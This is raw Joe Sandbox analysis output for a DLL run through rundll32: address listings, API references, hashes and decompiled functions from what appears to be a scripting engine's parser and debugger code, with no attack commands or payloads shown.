0x1003c402
0x1003c408
0x1003c41a
0x1003c420
0x1003c420
0x1003c426
0x1003c42d
0x1003c430
0x1003c459
0x1003c460
0x1003c463
0x1003c463
0x1003c468
0x1003c46f
0x1003c51c
0x1003c567
0x1003c56c
0x1003c56f
0x1003c578
0x1003c586
0x1003c57a
0x1003c582
0x1003c582
0x1003c588
0x1003c58f
0x1003c596
0x1003c599
0x1003c59e
0x1003c5a7
0x1003c5ae
0x1003c5b9
0x1003c5c3
0x1003c5ca
0x1003c5d2
0x1003c5d9
0x1003c5d9
0x1003c5e9
0x1003c5e9
0x1003c5ef
0x1003c5f3
0x1003c5fa
0x1003c603
0x1003c606
0x1003c60f
0x1003c620
0x1003c611
0x1003c61c
0x1003c61c
0x1003c625
0x1003c62c
0x1003c633
0x1003c63c
0x1003c641
0x1003c64b
0x1003c653
0x1003c653
0x1003c64b
0x1003c52d
0x1003c533
0x1003c53a
0x1003c53f
0x1003c542
0x1003c54b
0x1003c55e
0x1003c54d
0x1003c555
0x1003c555
0x1003c54b
0x1003c475
0x1003c477
0x1003c47c
0x1003c47f
0x1003c488
0x1003c497
0x1003c49e
0x1003c48a
0x1003c48d
0x1003c492
0x1003c492
0x1003c4a5
0x1003c4ac
0x1003c4b3
0x1003c4b5
0x1003c4ce
0x1003c4d0
0x1003c4d5
0x1003c4da
0x1003c50a
0x1003c4dc
0x1003c4df
0x1003c4e2
0x1003c4f1
0x1003c4fa
0x1003c4fc
0x1003c4fc
0x1003c4da
0x1003c658
0x1003c65d
0x1003c68a
0x1003c698
0x1003c65f
0x1003c66b
0x1003c66e
0x1003c674
0x1003c682
0x1003c682

APIs

l?0UnaryNode@ScScript@@QAE@ABUScanInfo@1@PAVNode@1@@Z.MAIN(0000008C,00000000,?,A412DE5E,00000000,00000000), ref: 1003C44C

Part of subcall function 10037F30: l?0Node@ScScript@@QAE@ABUScanInfo@1@@Z.MAIN(0000008C,00000000,?,1003C451,0000008C,00000000,?,A412DE5E,00000000,00000000), ref: 10037F3A

l?0ListNode@ScScript@@QAE@ABUScanInfo@1@@Z.MAIN(0000008C,?,A412DE5E,00000000,00000000), ref: 1003C48D
ladd@DataPool@ScScript@@QAEHABVVariant@ScCore@@@Z.MAIN(?,4000005D,00000000,00000000,00000000), ref: 1003C4E9
l?0Node@ScScript@@QAE@ABUScanInfo@1@@Z.MAIN(0000008C,?,A412DE5E,00000000,00000000), ref: 1003C550
l?0Node@ScScript@@QAE@ABUScanInfo@1@@Z.MAIN(0000008C,?,A412DE5E,00000000,00000000), ref: 1003C57D
lgetSymbol@DataPool@ScScript@@QBE?AVString@ScCore@@H@Z.MAIN(A412DE5E,?,00000000,?,A412DE5E,00000000,00000000), ref: 1003C5B9
l?0BinaryNode@ScScript@@QAE@ABUScanInfo@1@PAVNode@1@1@Z.MAIN(0000008C,00000000,00000000,?,?,A412DE5E,00000000,00000000), ref: 1003C617

Memory Dump Source

Source File: 00000004.00000002.385402302.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.385397966.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385452073.000000001006A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385468383.0000000010092000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385473323.0000000010094000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385478062.0000000010095000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_rundll32.jbxd

Similarity

API ID: Script@@$Node@Scan$Info@1@@$DataInfo@1@Pool@$BinaryCore@@Core@@@ListNode@1@1@Node@1@@String@Symbol@UnaryVariant@ladd@lget
String ID:
API String ID: 3942220842-0
Opcode ID: a1482eaa13290e9c78b4a44d4d149dd908d24d904a2f0735c08c34a19a9f8e2d
Instruction ID: 5cfec9c1800e036cde5f741bc06b73918077a22aba7c6c6e56ba49835d13069f
Opcode Fuzzy Hash: a1482eaa13290e9c78b4a44d4d149dd908d24d904a2f0735c08c34a19a9f8e2d
Instruction Fuzzy Hash: 4B81CE71A40309AFEB11CF66C845B6EB7F5FB45751F20452AE916EF2C0DB74AA40CB90

Uniqueness

Uniqueness Score: -1.00%

Function 10008A20 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 192
COMMON

Download Yara Rule

C-Code - Quality: 33%

			E10008A20(intOrPtr* __ecx, char _a4, char _a8, signed int _a12) {
				signed int _v8;
				char _v16;
				intOrPtr* _v20;
				char _v44;
				char _v68;
				intOrPtr _v72;
				intOrPtr _v76;
				intOrPtr _v80;
				char* _v84;
				char* _v88;
				intOrPtr _v92;
				char _v96;
				void* __edi;
				signed int _t82;
				intOrPtr _t88;
				unsigned int _t94;
				void* _t107;
				void* _t129;
				void* _t130;
				signed int _t131;
				intOrPtr* _t134;
				intOrPtr _t159;
				void* _t182;
				signed int _t183;
				char _t184;
				signed int _t185;
				signed int _t186;
				void* _t189;
				intOrPtr* _t190;
				signed int _t193;

				_t82 =  *0x10094144; // 0xa412de5e
				 *[fs:0x0] =  &_v16;
				_t190 = __ecx;
				_t131 = _a12;
				 *0x1006a2c8(_t82 ^ _t193, _t182, _t189, _t130,  *[fs:0x0], 0x1005dfd8, 0xffffffff);
				if( *((intOrPtr*)( *((intOrPtr*)( *__ecx + 0x10))))() != 0) {
					 *((intOrPtr*)(__ecx + 0x22)) =  *((intOrPtr*)(__ecx + 0x22)) + 1;
					_v20 = __ecx;
					_t88 =  *((intOrPtr*)(__ecx + 0x9c));
					_t183 = 0;
					_v8 = 0;
					if(_t88 != 0) {
						_t183 = _t88 + 4;
					}
					 *0x1006a160();
					_a12 = _t183;
					 *0x1006a3d4();
					_v8 = 1;
					if(( *(_t190 + 0xac) & 0x00000400) == 0 || E10006A30( *((intOrPtr*)(_t190 + 0x9c)),  *((intOrPtr*)(_a4 + 0x6e))) != 0) {
						_t184 = _a8;
						E10008730(_t184,  *(_t190 + 0xac));
						E10009F80(_a4);
						_t94 =  *(_t190 + 0xac);
						_v8 = 4;
						if((_t94 & 0x00000300) != 0) {
							 *((intOrPtr*)( *((intOrPtr*)( *_a4 + 0x3c))))( &_v68, _t94 >> 0x00000009 & 1);
						}
						 *0x1006a230();
						_v8 = 5;
						E10004790( *((intOrPtr*)(_t190 + 0x72)),  &_v44);
						_v96 =  *((intOrPtr*)(_t190 + 0xa0));
						_v84 =  &_v44;
						_v92 =  *((intOrPtr*)(_t190 + 0x6a));
						_v88 =  &_v68;
						_v80 = 0x63616c6c;
						_v76 = _t184;
						_v72 = _t131;
						 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t190 + 0x9c)))) + 0x18))))( &_v96,  *((intOrPtr*)(_t190 + 0xa4)));
						 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t190 + 0x6a)))) + 0xe0))))(_t131, 1);
						_t185 =  *0x1006a1c8; // 0x870f4
						_v8 = 4;
						 *_t185();
						_v8 = 1;
						 *_t185();
						_v8 = 0;
						_t107 =  *0x1006a3d8();
						_t186 = _t185 | 0xffffffff;
					} else {
						 *0x1006a190();
						_t159 =  *0x1009415c; // 0x0
						_v8 = 2;
						E100049E0(_t159,  &_a8,  &_a8,  *((intOrPtr*)(_t190 + 0x72)));
						_v8 = 3;
						E100074B0( *((intOrPtr*)(_t190 + 0x9c)), 0);
						 *0x1006a234( &_a4, "%ls.%ls()",  *0x1006a210( *0x1006a210()));
						_v8 = 2;
						_t134 =  *0x1006a184; // 0x86e1c
						 *_t134();
						_t186 = _t183 | 0xffffffff;
						 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t190 + 0x6a)))) + 0x2c))))(0x1a,  &_a4, _t186, 0);
						_v8 = 1;
						 *_t134();
						_v8 = 0;
						_t107 =  *0x1006a3d8();
					}
					_t76 = _t190 + 0x22;
					 *_t76 =  *((intOrPtr*)(_t190 + 0x22)) + _t186;
					_v8 = _t186;
					if( *_t76 == 0) {
						_t107 =  *((intOrPtr*)( *((intOrPtr*)( *_t190 + 0x14))))();
					}
					 *[fs:0x0] = _v16;
					return _t107;
				} else {
					_push(0x2d);
					_t129 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(__ecx + 0x6a)))) + 0x24))))();
					 *[fs:0x0] = _v16;
					return _t129;
				}
			}

0x10008a37
0x10008a42
0x10008a48
0x10008a4a
0x10008a4f
0x10008a60
0x10008a82
0x10008a85
0x10008a88
0x10008a8e
0x10008a90
0x10008a95
0x10008a97
0x10008a97
0x10008a9d
0x10008aa5
0x10008aa8
0x10008ab8
0x10008abc
0x10008b77
0x10008b7b
0x10008b8a
0x10008b8f
0x10008b95
0x10008b9e
0x10008bb5
0x10008bb5
0x10008bba
0x10008bce
0x10008bd2
0x10008be0
0x10008be6
0x10008bef
0x10008bfb
0x10008bff
0x10008c06
0x10008c09
0x10008c15
0x10008c25
0x10008c27
0x10008c30
0x10008c34
0x10008c39
0x10008c3d
0x10008c42
0x10008c46
0x10008c4c
0x10008adc
0x10008adf
0x10008ae9
0x10008af5
0x10008af8
0x10008aff
0x10008b12
0x10008b29
0x10008b2f
0x10008b32
0x10008b3e
0x10008b4a
0x10008b54
0x10008b59
0x10008b5d
0x10008b62
0x10008b66
0x10008b66
0x10008c4f
0x10008c4f
0x10008c52
0x10008c55
0x10008c5e
0x10008c5e
0x10008c63
0x10008c71
0x10008a62
0x10008a6a
0x10008a6c
0x10008a71
0x10008a7f
0x10008a7f

APIs

lisClass@Dispatcher@ScScript@@QBE_NH@Z.MAIN(?), ref: 10008ACF
lgetSymbol@DataPool@ScScript@@QBE?AVString@ScCore@@H@Z.MAIN(?,?), ref: 10008AF8
lgetClass@Dispatcher@ScScript@@QBEABVString@ScCore@@H@Z.MAIN(00000000,00000000), ref: 10008B12

Strings

%ls.%ls(), xrefs: 10008B23
llac, xrefs: 10008BFF

Memory Dump Source

Source File: 00000004.00000002.385402302.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.385397966.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385452073.000000001006A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385468383.0000000010092000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385473323.0000000010094000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385478062.0000000010095000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_rundll32.jbxd

Similarity

API ID: Script@@$Class@Core@@Dispatcher@String@lget$DataPool@Symbol@
String ID: %ls.%ls()$llac
API String ID: 1698599118-3391581551
Opcode ID: 5e398a57c220c20ef2c7088c0fe1ecc5dfb4cff810b8e6ac18a8864fe8e95bd9
Instruction ID: 88250e9a5cf246691437584cb32c87078fffd75a4a22deb92be351d5f111bb87
Opcode Fuzzy Hash: 5e398a57c220c20ef2c7088c0fe1ecc5dfb4cff810b8e6ac18a8864fe8e95bd9
Instruction Fuzzy Hash: 80819C75A00648DFEB04DFA8C880EDEBBF5FF89300F108559E95A97391DB70AA05CB60

Uniqueness

Uniqueness Score: -1.00%

Function 1000BE10 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 183COMMON

Download Yara Rule

APIs

ladd@DataPool@ScScript@@QAEHPBG@Z.MAIN(00000000), ref: 1000BE71
lgetSymbol@DataPool@ScScript@@QBE?AVString@ScCore@@H@Z.MAIN(?,?), ref: 1000BEEE

Strings

(arguments), xrefs: 1000BF1C
%5d %ls, xrefs: 1000BFD8
(workspace), xrefs: 1000BF23
%ld, xrefs: 1000BE90

Memory Dump Source

Source File: 00000004.00000002.385402302.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.385397966.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385452073.000000001006A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385468383.0000000010092000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385473323.0000000010094000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385478062.0000000010095000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_rundll32.jbxd

Similarity

API ID: DataPool@Script@@$Core@@String@Symbol@ladd@lget
String ID: %5d %ls$%ld$(arguments)$(workspace)
API String ID: 2362473782-1700673233
Opcode ID: a9eba0389167df2151b0e73b9132a51404b2f56de69665df2c5f6bbdabdddfdf
Instruction ID: 9e61b1d59373550c50c39730fbebd786bfc39a491e84656d07832a56b5537cd9
Opcode Fuzzy Hash: a9eba0389167df2151b0e73b9132a51404b2f56de69665df2c5f6bbdabdddfdf
Instruction Fuzzy Hash: 4A71BF7580025ADFEB05EF98CC98AEEB7B5FF59350F104159E916A3290DB70AE44CF60

Uniqueness

Uniqueness Score: -1.00%

Function 10026EE0 Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 165COMMON

Download Yara Rule

APIs

Part of subcall function 10026BA0: lgetSymbol@DataPool@ScScript@@QBE?AVString@ScCore@@H@Z.MAIN(?,?), ref: 10026C29

lgetSymbol@DataPool@ScScript@@QBE?AVString@ScCore@@H@Z.MAIN(?,10029B56), ref: 10026FC1

Strings

@name, xrefs: 10026FA2
@readonly, xrefs: 10027039
true, xrefs: 1002702F
@state, xrefs: 10026FF2
property, xrefs: 10026F7F

Memory Dump Source

Source File: 00000004.00000002.385402302.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.385397966.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385452073.000000001006A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385468383.0000000010092000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385473323.0000000010094000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385478062.0000000010095000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_rundll32.jbxd

Similarity

API ID: Core@@DataPool@Script@@String@Symbol@lget
String ID: @name$@readonly$@state$property$true
API String ID: 1311809857-584200475
Opcode ID: 986905d645d494fac849b15a93a6b9c8a810c5a4fe9e1b1cd3c41f8fe7822f4e
Instruction ID: 8d940eaebd98cb25bd91efc0579bfff7e6fa0c1ffa1766b96b11908a5d00c292
Opcode Fuzzy Hash: 986905d645d494fac849b15a93a6b9c8a810c5a4fe9e1b1cd3c41f8fe7822f4e
Instruction Fuzzy Hash: 39618D7190429DDFDB04DBA9CD94BEEBBB5EF59310F10415DD80AA3280DBB46B48CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 10029750 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 103COMMON

Download Yara Rule

APIs

lsetProfilingLevel@Engine@ScScript@@QAEXH@Z.MAIN(00000000), ref: 100297B7
lcommand@DebugAPI@ScScript@@QAEXW4Cmd@12@_N@Z.MAIN(?), ref: 10029884

Strings

@ignore-errors, xrefs: 10029858
@flags, xrefs: 100297BC
breakpoints, xrefs: 1002980D
@profiling, xrefs: 10029777

Memory Dump Source

Source File: 00000004.00000002.385402302.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.385397966.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385452073.000000001006A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385468383.0000000010092000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385473323.0000000010094000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385478062.0000000010095000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_rundll32.jbxd

Similarity

API ID: Script@@$Cmd@12@_DebugEngine@Level@Profilinglcommand@lset
String ID: @flags$@ignore-errors$@profiling$breakpoints
API String ID: 2341751542-2245268448
Opcode ID: 4281a9e293d7fd3a14f9f1ca1a8777aa808ffb12927c61a465a42f57f3b14d20
Instruction ID: d4521adbc248686f0eabe3323d26171ff2ee959707294750eacfcaa003c7bc69
Opcode Fuzzy Hash: 4281a9e293d7fd3a14f9f1ca1a8777aa808ffb12927c61a465a42f57f3b14d20
Instruction Fuzzy Hash: 7141A47190022AEFDB00DF99CC94AEDB7B9FF49320F544619E526A32D0DB706A44CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 10005F60 Relevance: 10.6, APIs: 7, Instructions: 88
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E10005F60(intOrPtr* __ecx, char _a4, intOrPtr* _a8) {
				intOrPtr _v8;
				char _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				signed int _t17;
				intOrPtr _t20;
				intOrPtr _t22;
				void* _t23;
				void* _t33;
				void* _t34;
				intOrPtr _t40;
				void* _t52;
				void* _t53;
				void* _t55;
				signed int _t56;
				intOrPtr* _t57;
				signed int _t59;

				_t17 =  *0x10094144; // 0xa412de5e
				 *[fs:0x0] =  &_v16;
				_t20 =  *__ecx;
				_t50 =  *(_t20 + 0xb8);
				_t56 = 0;
				_t53 =  *( *(_t20 + 0xb8))(0x64656267, _t17 ^ _t59, _t52, _t55, _t33,  *[fs:0x0], 0x1005d9b3, 0xffffffff);
				_t22 = E10026480(_t53);
				_t34 = 0;
				_v20 = _t22;
				_v24 =  *((intOrPtr*)(_t53 + 0x10));
				if(_t22 <= 0) {
					L7:
					_t40 =  *0x1009415c; // 0x0
				} else {
					do {
						E100254B0(_t53, _t34);
						_t56 = E10026310(_t53);
						if(_t56 == 0) {
							goto L6;
						} else {
							_t50 = _t56 & 0xe0000000;
							if((_t56 & 0xe0000000) == 0x60000000 || _t56 == 0x82) {
								goto L6;
							} else {
								_t40 =  *0x1009415c; // 0x0
								if(_t56 >  *((intOrPtr*)(_t40 + 4))) {
									if(E10004380(_t40, _t56) == 0) {
										goto L7;
									} else {
										goto L6;
									}
								}
							}
						}
						goto L8;
						L6:
						_t34 = _t34 + 1;
					} while (_t34 < _v20);
					goto L7;
				}
				L8:
				if(_a4 != 0) {
					_v8 = 0;
					 *0x1006a19c(E100049E0(_t40, _t50,  &_a4, _t56));
					_v8 = 0xffffffff;
					 *0x1006a184();
				}
				_t57 = _a8;
				if(_t57 != 0) {
					 *_t57 = E10026340(_t53) + 1;
				}
				_t23 = E100254B0(_t53, _v24);
				 *[fs:0x0] = _v16;
				return _t23;
			}

0x10005f77
0x10005f82
0x10005f88
0x10005f8a
0x10005f95
0x10005f99
0x10005f9d
0x10005fa5
0x10005fa7
0x10005faa
0x10005faf
0x10005ff9
0x10005ff9
0x10005fb1
0x10005fb1
0x10005fb4
0x10005fc0
0x10005fc4
0x00000000
0x10005fc6
0x10005fc8
0x10005fd4
0x00000000
0x10005fde
0x10005fde
0x10005fe7
0x10005ff1
0x00000000
0x00000000
0x00000000
0x00000000
0x10005ff1
0x10005fe7
0x10005fd4
0x00000000
0x10005ff3
0x10005ff3
0x10005ff4
0x00000000
0x10005fb1
0x10005fff
0x10006004
0x10006013
0x1000601a
0x10006023
0x1000602a
0x1000602a
0x10006030
0x10006035
0x1000603f
0x1000603f
0x10006047
0x1000604f
0x1000605d

APIs

lgetStackDepth@DebugAPI@ScScript@@QBEHXZ.MAIN ref: 10005F9D
lsetContextLevel@DebugAPI@ScScript@@QAEXH@Z.MAIN(00000000), ref: 10005FB4
lgetSourceFileID@DebugAPI@ScScript@@QBEHXZ.MAIN ref: 10005FBB
l_isInteger@DataPool@ScScript@@ABE_NH@Z.MAIN(?), ref: 10005FEA
lgetSymbol@DataPool@ScScript@@QBE?AVString@ScCore@@H@Z.MAIN(?,00000000), ref: 1000600B
lgetSourceLine@DebugAPI@ScScript@@QBEHXZ.MAIN ref: 10006039
lsetContextLevel@DebugAPI@ScScript@@QAEXH@Z.MAIN(?), ref: 10006047

Memory Dump Source

Source File: 00000004.00000002.385402302.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.385397966.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385452073.000000001006A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385468383.0000000010092000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385473323.0000000010094000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385478062.0000000010095000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_rundll32.jbxd

Similarity

API ID: Script@@$Debug$lget$ContextDataLevel@Pool@Sourcelset$Core@@Depth@FileInteger@Line@StackString@Symbol@l_is
String ID:
API String ID: 1030542689-0
Opcode ID: 1dba4dd3040a29499d523e640532865035f9b8518793d2c953e54dcc39e5fbc2
Instruction ID: 04afa4723c92d34d5b37eae5b59b535f0ef1302c978d5e86873b5d0b4a8aec7d
Opcode Fuzzy Hash: 1dba4dd3040a29499d523e640532865035f9b8518793d2c953e54dcc39e5fbc2
Instruction Fuzzy Hash: 4321D275A001169BDB44DF64C890BBFB7EAFF89291F114139E81A97384DF39AD418B90

Uniqueness

Uniqueness Score: -1.00%

Function 1003C9E0 Relevance: 9.3, APIs: 6, Instructions: 267
COMMON

Download Yara Rule

C-Code - Quality: 64%

			E1003C9E0(intOrPtr __ecx) {
				char _v8;
				char _v16;
				signed int _v17;
				intOrPtr* _v24;
				intOrPtr* _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				void* _v84;
				char _v88;
				signed int _t64;
				intOrPtr _t68;
				signed int _t71;
				intOrPtr _t73;
				intOrPtr* _t74;
				intOrPtr _t75;
				intOrPtr _t77;
				intOrPtr _t78;
				intOrPtr _t80;
				intOrPtr* _t81;
				intOrPtr _t83;
				intOrPtr _t84;
				intOrPtr _t85;
				intOrPtr _t99;
				intOrPtr _t100;
				void* _t105;
				intOrPtr _t107;
				intOrPtr* _t123;
				signed int _t146;
				void* _t155;
				intOrPtr* _t156;
				intOrPtr* _t157;
				void* _t159;
				void* _t160;
				intOrPtr _t161;
				intOrPtr* _t162;
				signed int _t164;
				void* _t165;
				void* _t167;
				void* _t177;

				_t64 =  *0x10094144; // 0xa412de5e
				 *[fs:0x0] =  &_v16;
				_t161 = __ecx;
				_t2 = _t161 + 0x8c; // 0x8c
				_t156 = _t2;
				E10043450( &_v88, _t156);
				_v8 = 0;
				_t68 =  *0x1006a1d0(0x28, _t64 ^ _t164, _t155, _t160, _t105,  *[fs:0x0], 0x10065390, 0xffffffff);
				_t167 = _t165 - 0x48 + 4;
				_v32 = _t68;
				_v8 = 1;
				if(_t68 == 0) {
					_v24 = 0;
				} else {
					_v24 = E10037FD0(_t68, _t156, 0, 0);
				}
				_v8 = 0;
				_v32 = _v24;
				_t71 = E1003A9F0(_t161, 0) & 0xffffff00 |  *_t156 == 0x00000099;
				_v17 = _t71;
				if(_t71 != 0) {
					E1003A9F0(_t161, 0);
				}
				 *((intOrPtr*)( *((intOrPtr*)(_t161 + 0x88)))) = 0x48;
				E1003AC80(_t161, 0x40000028, 0);
				_t73 =  *_t156;
				 *((intOrPtr*)(_t161 + 0xfc)) =  *((intOrPtr*)(_t161 + 0xfc)) + 1;
				if(_t73 != 0x67) {
					if(_t73 == 0x4000003b) {
						_t74 =  *0x1006a1d0(0x20);
						_t167 = _t167 + 4;
						_v28 = _t74;
						_v8 = 2;
						if(_t74 == 0) {
							_t75 = 0;
						} else {
							_t75 = E10037F00(_t74, _t156);
						}
						_v8 = 0;
					} else {
						_t75 = E1003E550(_t161, _t146, _t177, 0, 0);
					}
				} else {
					E1003A9F0(_t161, 0);
					_t75 = E1003C6A0(_t161, 0x67, 1);
				}
				 *((intOrPtr*)(_t161 + 0xfc)) =  *((intOrPtr*)(_t161 + 0xfc)) - 1;
				_t107 = _t75;
				if( *_t156 != 0x4e) {
					if(_v17 != 0) {
						E1003AAC0(_t161, _t146, 8, 0);
					}
					E1003AC80(_t161, 0x4000003b, 0);
					if( *_t156 == 0x4000003b) {
						_t77 =  *0x1006a1d0(0x20);
						_t167 = _t167 + 4;
						_v28 = _t77;
						_v8 = 4;
						if(_t77 == 0) {
							_t78 = 0;
						} else {
							_t78 = E10037F00(_t77, _t156);
						}
						_v8 = 0;
					} else {
						_t78 = E1003E550(_t161, _t146, _t177, 0, 0);
					}
					_v28 = _t78;
					E1003AC80(_t161, 0x4000003b, 0);
					if( *_t156 == 0x40000029) {
						_t80 =  *0x1006a1d0(0x20);
						_t167 = _t167 + 4;
						_v36 = _t80;
						_v8 = 5;
						if(_t80 == 0) {
							_t81 = 0;
						} else {
							_t81 = E10037F00(_t80, _t156);
						}
						_v8 = 0;
					} else {
						_t81 = E1003E550(_t161, _t146, _t177, 0, 0);
					}
					_t157 = _t81;
					E1003AC80(_t161, 0x40000029, 0);
					_t83 = E1003CD00(_t161, _t146, _t177, 0);
					_t162 = _v24;
					 *((intOrPtr*)(_t162 + 0x24)) = _t83;
					if( *((intOrPtr*)(_t107 + 0x1c)) != 0) {
						L38:
						_t84 =  *0x1006a1d0(0x2c);
						_v36 = _t84;
						_v8 = 6;
						if(_t84 == 0) {
							goto L40;
						}
						_t85 = E10038080(_t84,  &_v88, _t107, _v28, _t157);
						goto L41;
					} else {
						_t123 = _v28;
						if( *((intOrPtr*)(_t123 + 0x1c)) != 0 ||  *((intOrPtr*)(_t157 + 0x1c)) != 0) {
							goto L38;
						} else {
							 *((intOrPtr*)( *((intOrPtr*)( *_t123))))(1);
							 *((intOrPtr*)( *((intOrPtr*)( *_t157))))(1);
							if( *((intOrPtr*)( *((intOrPtr*)(_t162 + 0x24)) + 0x1c)) != 0) {
								 *((intOrPtr*)(_t162 + 8)) = 0x6a;
								 *((intOrPtr*)(_t162 + 0x20)) = _t107;
								 *((intOrPtr*)(_t107 + 8)) = 0x64;
								 *((intOrPtr*)(_t107 + 0x1c)) = 1;
							} else {
								 *((intOrPtr*)( *((intOrPtr*)( *_t162))))(1);
								_v32 = _t107;
								 *((intOrPtr*)(_t107 + 8)) = 0;
							}
							goto L42;
						}
					}
				} else {
					E100434A0( &_v88, _t156);
					asm("sbb edx, edx");
					_t154 = ( ~(_v17 & 0x000000ff) & 0x00000081) + 0x18;
					_v88 = ( ~(_v17 & 0x000000ff) & 0x00000081) + 0x18;
					E1003A9F0(_t161, 0);
					if( *((intOrPtr*)(_t107 + 0x1c)) != 2) {
						E1003AAC0(_t161, _t154, 8, 0);
					}
					_t159 = E1003E550(_t161, _t154, _t177, 0, 0);
					E1003AC80(_t161, 0x40000029, 0);
					_t99 = E1003CD00(_t161, _t154, _t177, 0);
					_t162 = _v24;
					 *((intOrPtr*)(_t162 + 0x24)) = _t99;
					_t100 =  *0x1006a1d0(0x28);
					_v28 = _t100;
					_v8 = 3;
					if(_t100 == 0) {
						L40:
						_t85 = 0;
						goto L41;
					} else {
						_t85 = E10037FD0(_t100,  &_v88, _t107, _t159);
						L41:
						 *((intOrPtr*)(_t162 + 0x20)) = _t85;
						L42:
						_v8 = 0xffffffff;
						 *0x1006a1c8();
						 *[fs:0x0] = _v16;
						return _v32;
					}
				}
			}

0x1003c9f7
0x1003ca02
0x1003ca08
0x1003ca0a
0x1003ca0a
0x1003ca14
0x1003ca1d
0x1003ca20
0x1003ca26
0x1003ca29
0x1003ca2c
0x1003ca32
0x1003ca43
0x1003ca34
0x1003ca3e
0x1003ca3e
0x1003ca4c
0x1003ca50
0x1003ca5e
0x1003ca61
0x1003ca66
0x1003ca6b
0x1003ca6b
0x1003ca77
0x1003ca84
0x1003ca89
0x1003ca8b
0x1003ca94
0x1003cab0
0x1003cabf
0x1003cac5
0x1003cac8
0x1003cacb
0x1003cad1
0x1003cadd
0x1003cad3
0x1003cad6
0x1003cad6
0x1003cadf
0x1003cab2
0x1003cab6
0x1003cab6
0x1003ca96
0x1003ca99
0x1003caa4
0x1003caa4
0x1003cae3
0x1003caec
0x1003caee
0x1003cb85
0x1003cb8d
0x1003cb8d
0x1003cb9b
0x1003cba6
0x1003cbb7
0x1003cbbd
0x1003cbc0
0x1003cbc3
0x1003cbc9
0x1003cbd5
0x1003cbcb
0x1003cbce
0x1003cbce
0x1003cbd7
0x1003cba8
0x1003cbae
0x1003cbae
0x1003cbe4
0x1003cbe7
0x1003cbf2
0x1003cc03
0x1003cc09
0x1003cc0c
0x1003cc0f
0x1003cc15
0x1003cc21
0x1003cc17
0x1003cc1a
0x1003cc1a
0x1003cc23
0x1003cbf4
0x1003cbfa
0x1003cbfa
0x1003cc30
0x1003cc32
0x1003cc3b
0x1003cc40
0x1003cc43
0x1003cc4a
0x1003cca6
0x1003cca8
0x1003ccb1
0x1003ccb4
0x1003ccba
0x00000000
0x00000000
0x1003ccc8
0x00000000
0x1003cc4c
0x1003cc4c
0x1003cc53
0x00000000
0x1003cc5b
0x1003cc61
0x1003cc6b
0x1003cc74
0x1003cc8c
0x1003cc93
0x1003cc96
0x1003cc9d
0x1003cc76
0x1003cc7e
0x1003cc80
0x1003cc83
0x1003cc83
0x00000000
0x1003cc74
0x1003cc53
